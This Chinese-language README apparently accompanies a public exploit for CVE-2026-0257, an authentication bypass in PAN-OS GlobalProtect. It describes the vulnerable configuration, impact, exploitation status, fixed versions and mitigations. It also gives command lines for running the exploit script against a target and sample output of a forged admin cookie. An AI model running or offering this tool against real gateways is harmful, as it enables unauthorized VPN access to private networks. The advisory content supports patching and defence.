---

📌 概述

CVE-2026-0257 是一个认证绕过漏洞，影响 Palo Alto Networks PAN-OS 软件的 GlobalProtect 门户和网关组件。

未经身份验证的远程攻击者可以绕过安全限制，与受影响的防火墙建立未经授权的 VPN 连接。

注意：Panorama 和 Cloud NGFW 不受影响。

---

⚠️ 严重性与评分

指标	评分	等级
CVSS v4.0	7.8 / 4.7	高 / 中
CVSS v3.x	最高 9.8	严重
紧迫性	最高	-

向量（CVSS 4.0 示例）：
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N

---

📖 描述

Palo Alto Networks PAN-OS® 软件 GlobalProtect 门户和网关中的认证绕过漏洞，允许攻击者绕过安全限制并建立未经授权的 VPN 连接。

该问题源于 CWE-565：依赖 Cookie 而未进行验证和完整性检查。

---

🛠 受影响产品

• PAN-OS 修复版本之前的版本（10.2、11.1、11.2、12.1）
• Prisma Access（特定版本）
• 配置了 GlobalProtect 门户或网关的防火墙

不受影响：

• Panorama
• Cloud NGFW

---

🔍 易受攻击的配置

该漏洞需要以下配置才可被利用：

1. 已配置 GlobalProtect 门户或网关
2. 已启用认证覆盖 Cookie
3. 认证覆盖 Cookie 的加密/解密证书与另一功能重复使用

---

💥 影响

• 对内部网络的未经授权 VPN 访问
• 攻击者可能进行横向移动
• 绕过多因素认证（在特定配置下）
• 对企业边界构成重大风险

对受保护网络的机密性和完整性造成高影响。

---

🔥 利用状态

• 已在野被积极利用（截至 2026 年 5 月 17 日）
• Rapid7 观察到成功利用
• Palo Alto Networks 确认存在有限的利用尝试
• 于 2026 年 5 月 29 日被加入 CISA 已知被利用漏洞（KEV） 目录

---

⚙️ 用法：

python3 CVE-2026-0257.py --target vpn.company.com
python3 CVE-2026-0257.py --target 192.168.1.100 --user administrator --verbose

✅ 预期成功输出：

╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-0257 - GlobalProtect Auth Bypass            ║
║               Public Key Cookie Forging Exploit              ║
║                     Author: 0xBlackash                       ║
╚══════════════════════════════════════════════════════════════╝

[*] Connecting to vpn.company.com:443 to extract certificate chain...
   [+] Found 2048-bit RSA key

[*] Forging authentication cookie for user: admin

[1/1] Trying public key...
   Cookie (first 60 chars): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

[+] SUCCESS! Authentication Bypass Achieved!
    Username : admin
    Cookie   : eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

✅ 补丁与修复

已修复版本（紧急应用）：

PAN-OS 版本	修复版本
12.1	≥ 12.1.4-h6, ≥ 12.1.7
11.2	≥ 11.2.4-h17, ≥ 11.2.7-h14 等
11.1	≥ 11.1.4-h33, ≥ 11.1.7-h6 等
10.2	≥ 10.2.7-h34, ≥ 10.2.10-h36 等

Prisma Access 也有相应的修复版本。

---

🛡️ 缓解措施

即时变通方案（在无法打补丁的情况下）：

• 如非必要，禁用身份验证覆盖 Cookie
• 避免为 GlobalProtect 身份验证覆盖重复使用证书
• 监控 GlobalProtect 日志，排查可疑的 VPN 连接
• 限制管理访问权限并启用严格的安全策略

---

🔗 参考资料

• Palo Alto Networks 官方安全公告
• NVD 详情
• Rapid7 分析
• CISA KEV 目录

---

📅 时间线

日期	事件
2026-05-13	CVE 发布 + 初始安全公告
2026-05-17	观测到野外利用
2026-05-29	Palo Alto 更新 + 加入 CISA KEV
2026-05-30	本报告

---